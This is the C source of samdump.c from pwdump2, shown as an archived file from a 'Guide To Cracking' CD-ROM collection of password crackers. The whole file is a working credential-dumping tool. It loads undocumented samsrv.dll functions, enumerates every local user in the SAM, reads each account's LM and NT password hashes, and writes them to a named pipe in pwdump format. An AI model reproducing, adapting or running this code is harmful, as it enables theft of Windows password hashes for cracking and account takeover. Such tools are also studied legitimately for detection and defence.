home *** CD-ROM | disk | FTP | other *** search
/ Guide To Cracking 2002 / Guide_to_Cracking_2002.iso / Utilities / Password Crackerz / Pwdump 2.exe / samdump.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-08-23  |  10.7 KB  |  373 lines

  1. /***************************************************************************
  2.  * File:    samdump.c
  3.  *
  4.  * Purpose: Dump the contents of the SAM to a file.
  5.  *
  6.  * Date:    Wed Oct 01 21:51:53 1997
  7.  *
  8.  * (C) Todd Sabin 1997,1998 All rights reserved.
  9.  * 
  10.  * This program is free software; you can redistribute it and/or
  11.  * modify it under the terms of the GNU General Public License
  12.  * as published by the Free Software Foundation; either version 2
  13.  * of the License, or (at your option) any later version.
  14.  * 
  15.  * This program is distributed in the hope that it will be useful,
  16.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  17.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  18.  * GNU General Public License for more details.
  19.  * 
  20.  * You should have received a copy of the GNU General Public License
  21.  * along with this program; if not, write to the Free Software
  22.  * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
  23.  *
  24.  ***************************************************************************/
  25.  
  26. #include <windows.h>
  27. #include <winnt.h>
  28. #include "ntsecapi.h"
  29.  
  30. #include "pwdump2.h"
  31.  
  32. #include <stdio.h>
  33.  
  34.  
  35. static HINSTANCE hSamsrv;
  36.  
  37. typedef DWORD HUSER;
  38. typedef DWORD HSAM;
  39. typedef DWORD HDOMAIN;
  40. typedef DWORD HUSER;
  41.  
  42. //
  43. // Samsrv functions
  44. //
  45. typedef NTSTATUS (WINAPI *SamIConnect_t) (DWORD, HSAM*, DWORD, DWORD);
  46. typedef NTSTATUS (WINAPI *SamrOpenDomain_t) (HSAM, DWORD dwAccess, PSID, HDOMAIN*);
  47. typedef NTSTATUS (WINAPI *SamrOpenUser_t) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*);
  48. typedef NTSTATUS (WINAPI *SamrQueryInformationUser_t) (HUSER, DWORD, PVOID);
  49. typedef HLOCAL   (WINAPI *SamIFree_SAMPR_USER_INFO_BUFFER_t) (PVOID, DWORD);
  50. typedef NTSTATUS (WINAPI *SamrCloseHandle_t) (DWORD*);
  51.  
  52.  
  53. #define SAM_USER_INFO_PASSWORD_OWFS 0x12
  54.  
  55.  
  56. //
  57. //  Samsrv function pointers
  58. //
  59. static SamIConnect_t pSamIConnect;
  60. static SamrOpenDomain_t pSamrOpenDomain;
  61. static SamrOpenUser_t pSamrOpenUser;
  62. static SamrQueryInformationUser_t pSamrQueryInformationUser;
  63. static SamIFree_SAMPR_USER_INFO_BUFFER_t pSamIFree_SAMPR_USER_INFO_BUFFER;
  64. static SamrCloseHandle_t pSamrCloseHandle;
  65.  
  66. //
  67. // Load DLLs and GetProcAddresses
  68. //
  69. BOOL
  70. LoadFunctions (void)
  71. {
  72.     hSamsrv = LoadLibrary ("samsrv.dll");
  73.  
  74.  
  75.     pSamIConnect = (SamIConnect_t) GetProcAddress (hSamsrv, "SamIConnect");
  76.     pSamrOpenDomain = (SamrOpenDomain_t) GetProcAddress (hSamsrv, "SamrOpenDomain");
  77.     pSamrOpenUser = (SamrOpenUser_t) GetProcAddress (hSamsrv, "SamrOpenUser");
  78.     pSamrQueryInformationUser = (SamrQueryInformationUser_t) GetProcAddress (hSamsrv, "SamrQueryInformationUser");
  79.     pSamIFree_SAMPR_USER_INFO_BUFFER = (SamIFree_SAMPR_USER_INFO_BUFFER_t) GetProcAddress (hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER");
  80.     pSamrCloseHandle = (SamrCloseHandle_t) GetProcAddress (hSamsrv, "SamrCloseHandle");
  81.  
  82.     return ((pSamIConnect != NULL)
  83.             && (pSamrOpenDomain != NULL)
  84.             && (pSamrOpenUser != NULL)
  85.             && (pSamrQueryInformationUser != NULL)
  86.             && (pSamIFree_SAMPR_USER_INFO_BUFFER != NULL)
  87.             && (pSamrCloseHandle != NULL));
  88. }
  89.  
  90.  
  91. //
  92. // Send text down the pipe
  93. //
  94. void
  95. SendText (HANDLE hPipe, char *szText)
  96. {
  97.     char szBuffer[1000];
  98.     DWORD dwWritten;
  99.  
  100.     if (!WriteFile (hPipe, szText, strlen (szText), &dwWritten, NULL))
  101.     {
  102.         _snprintf (szBuffer, sizeof (szBuffer),
  103.                    "WriteFile failed: %d\nText: %s",
  104.                    GetLastError (), szText);
  105.         OutputDebugString (szBuffer);
  106.     }
  107. }
  108.  
  109.  
  110. //
  111. // Print out info for one user
  112. //
  113. void
  114. DumpInfo (HANDLE hPipe, LPCTSTR lpszName, DWORD dwRid, PVOID pData)
  115. {
  116.     //
  117.     // Should really just check buffer size instead of this __try
  118.     //
  119.     __try
  120.     {
  121.         PBYTE p = (PBYTE) pData;
  122.         char szBuffer[1000];
  123.  
  124.         _snprintf (szBuffer, sizeof (szBuffer), "%s:%d:"
  125.                    "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x:"
  126.                    "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x:::\n",
  127.                    lpszName, dwRid,
  128.                    p[16], p[17], p[18], p[19], p[20], p[21], p[22], p[23],
  129.                    p[24], p[25], p[26], p[27], p[28], p[29], p[30], p[31],
  130.                    p[0],  p[1],  p[2],  p[3],  p[4],  p[5],  p[6],  p[7],
  131.                    p[8],  p[9],  p[10], p[11], p[12], p[13], p[14], p[15]
  132.                    );
  133.         SendText (hPipe, szBuffer);
  134.     }
  135.     __except (EXCEPTION_EXECUTE_HANDLER)
  136.     {
  137.     }
  138. }
  139.  
  140.  
  141. //
  142. // Dump the SAM contents to a file.
  143. //
  144. int
  145. __declspec(dllexport)
  146. DumpSam (char *szPipeName)
  147. {
  148.     DWORD dwErr;
  149.     int i;
  150.     HKEY hKeyUserNames = 0;
  151.  
  152.     LSA_OBJECT_ATTRIBUTES objAttrib;
  153.     LSA_HANDLE lsaHandle = 0;
  154.     PLSA_UNICODE_STRING pSystemName = NULL;
  155.     POLICY_ACCOUNT_DOMAIN_INFO* pDomainInfo;
  156.     NTSTATUS rc;
  157.     TCHAR szBuffer[300];
  158.     HSAM hSam = 0;
  159.     HDOMAIN hDomain = 0;
  160.     HUSER hUser = 0;
  161.  
  162.     int theRc = 1;
  163.     HANDLE hPipe;
  164.  
  165.     //
  166.     // Open the output pipe
  167.     //
  168.     hPipe = CreateFile (szPipeName, GENERIC_WRITE, 0, NULL, 
  169.                         OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH, NULL);
  170.     if (hPipe == INVALID_HANDLE_VALUE)
  171.     {
  172.         _snprintf (szBuffer, sizeof (szBuffer),
  173.                    "Failed to open output pipe(%s): %d\n",
  174.                    szPipeName, GetLastError ());
  175.         OutputDebugString (szBuffer);
  176.         goto exit;
  177.     }
  178.  
  179.     if (!LoadFunctions ())
  180.     {
  181.         SendText (hPipe, "Failed to load functions\n");
  182.         goto exit;
  183.     }
  184.  
  185.     //
  186.     // Open the Policy database
  187.     //
  188.     memset (&objAttrib, 0, sizeof (objAttrib));
  189.     objAttrib.Length = sizeof (objAttrib);
  190.  
  191.     rc = LsaOpenPolicy (pSystemName,
  192.                         &objAttrib,
  193.                         POLICY_ALL_ACCESS,
  194.                         &lsaHandle);
  195.     if (rc < 0)
  196.     {
  197.         _snprintf (szBuffer, sizeof (szBuffer),
  198.                    "LsaOpenPolicy failed : 0x%08X", rc);
  199.         SendText (hPipe, szBuffer);
  200.         OutputDebugString (szBuffer);
  201.         goto exit;
  202.     }
  203.  
  204.  
  205.     rc = LsaQueryInformationPolicy (lsaHandle,
  206.                                     PolicyAccountDomainInformation,
  207.                                     &pDomainInfo);
  208.     if (rc < 0)
  209.     {
  210.         _snprintf (szBuffer, sizeof (szBuffer),
  211.                    "LsaQueryInformationPolicy failed : 0x%08X", rc);
  212.         SendText (hPipe, szBuffer);
  213.         OutputDebugString (szBuffer);
  214.         goto exit;
  215.     }
  216.  
  217.     //
  218.     // Connect to the SAM database
  219.     //
  220.     rc = pSamIConnect (0, &hSam, MAXIMUM_ALLOWED, 1);
  221.     if (rc < 0)
  222.     {
  223.         _snprintf (szBuffer, sizeof (szBuffer),
  224.                    "SamConnect failed : 0x%08X", rc);
  225.         SendText (hPipe, szBuffer);
  226.         OutputDebugString (szBuffer);
  227.         goto exit;
  228.     }
  229.  
  230.     rc = pSamrOpenDomain (hSam, 0xf07ff,
  231.                           pDomainInfo->DomainSid, &hDomain);
  232.     if (rc < 0)
  233.     {
  234.         _snprintf (szBuffer, sizeof (szBuffer),
  235.                    "SamOpenDomain failed : 0x%08X\n", rc);
  236.         SendText (hPipe, szBuffer);
  237.         OutputDebugString (szBuffer);
  238.         hDomain = 0;
  239.         goto exit;
  240.     }
  241.  
  242.  
  243.     if (RegOpenKeyEx (HKEY_LOCAL_MACHINE,
  244.                       "SAM\\SAM\\Domains\\Account\\Users\\Names",
  245.                       0, KEY_READ, &hKeyUserNames) != ERROR_SUCCESS)
  246.     {
  247.         _snprintf (szBuffer, sizeof (szBuffer),
  248.                    "RegOpenKeyEx failed : 0x%08X\n", GetLastError ());
  249.         SendText (hPipe, szBuffer);
  250.         OutputDebugString (szBuffer);
  251.         goto exit;
  252.     }
  253.  
  254.     //
  255.     // Loop over the users
  256.     //
  257.     for (i=0; TRUE; i++)
  258.     {
  259.         HKEY hSubKey = 0;
  260.         DWORD dwRid;
  261.         BYTE ignoredBuff[100];
  262.         DWORD dwSize = sizeof (ignoredBuff);
  263.         PVOID pUserInfo = 0;
  264.         CHAR  szUserName[256];
  265.  
  266.  
  267.         dwErr = RegEnumKey (hKeyUserNames, i,
  268.                             szUserName, sizeof (szUserName));
  269.         if (dwErr != ERROR_SUCCESS)
  270.             //
  271.             // There are no more users
  272.             //
  273.             break;
  274.  
  275.  
  276.         //
  277.         // Determine the user's Rid
  278.         //
  279.         if (RegOpenKeyEx (hKeyUserNames, szUserName, 0, KEY_READ,
  280.                           &hSubKey) != ERROR_SUCCESS)
  281.         {
  282.             _snprintf (szBuffer, sizeof (szBuffer),
  283.                        "RegOpenKeyEx failed : 0x%08X\n", GetLastError ());
  284.             SendText (hPipe, szBuffer);
  285.             OutputDebugString (szBuffer);
  286.             continue;
  287.         }
  288.             
  289.         if (RegQueryValueEx (hSubKey, "", 0, &dwRid, ignoredBuff,
  290.                              &dwSize) != ERROR_SUCCESS)
  291.         {
  292.             _snprintf (szBuffer, sizeof (szBuffer),
  293.                        "RegQueryValueEx failed : 0x%08X\n", GetLastError ());
  294.             SendText (hPipe, szBuffer);
  295.             OutputDebugString (szBuffer);
  296.             RegCloseKey (hSubKey);
  297.             hSubKey = 0;
  298.             continue;
  299.         }
  300.         RegCloseKey (hSubKey);
  301.         hSubKey = 0;
  302.  
  303.         //
  304.         // Open the user (by Rid)
  305.         //
  306.         rc = pSamrOpenUser (hDomain, MAXIMUM_ALLOWED,
  307.                             dwRid, &hUser);
  308.         if (rc < 0)
  309.         {
  310.             _snprintf (szBuffer, sizeof (szBuffer),
  311.                        "SamrOpenUser failed : 0x%08X\n", rc);
  312.             SendText (hPipe, szBuffer);
  313.             OutputDebugString (szBuffer);
  314.             continue;
  315.         }
  316.  
  317.         //
  318.         // Get the password OWFs
  319.         //
  320.         rc = pSamrQueryInformationUser (hUser,
  321.                                         SAM_USER_INFO_PASSWORD_OWFS,
  322.                                         &pUserInfo);
  323.         if (rc < 0)
  324.         {
  325.             _snprintf (szBuffer, sizeof (szBuffer),
  326.                        "SamrQueryInformationUser failed : 0x%08X\n", rc);
  327.             SendText (hPipe, szBuffer);
  328.             OutputDebugString (szBuffer);
  329.             pSamrCloseHandle (&hUser);
  330.             hUser = 0;
  331.             continue;
  332.         }
  333.  
  334.         DumpInfo (hPipe, szUserName, dwRid, pUserInfo);
  335.  
  336.         //
  337.         // Free stuff
  338.         //
  339.         pSamIFree_SAMPR_USER_INFO_BUFFER (pUserInfo,
  340.                                           SAM_USER_INFO_PASSWORD_OWFS);
  341.         pUserInfo = 0;
  342.         pSamrCloseHandle (&hUser);
  343.         hUser = 0;
  344.     }
  345.  
  346.     theRc = 0;
  347.  
  348.  exit:
  349.     //
  350.     // Clean up
  351.     //
  352.     if (hUser)
  353.         pSamrCloseHandle (&hUser);
  354.     if (hDomain)
  355.         pSamrCloseHandle (&hDomain);
  356.     if (hSam)
  357.         pSamrCloseHandle (&hSam);
  358.     if (lsaHandle)
  359.         LsaClose (lsaHandle);
  360.     if (hKeyUserNames)
  361.         RegCloseKey (hKeyUserNames);
  362.     if (hPipe)
  363.     {
  364.         FlushFileBuffers (hPipe);
  365.         CloseHandle (hPipe);
  366.     }
  367.     if (hSamsrv)
  368.         FreeLibrary (hSamsrv);
  369.  
  370.     return theRc;
  371. }
  372.  
  373.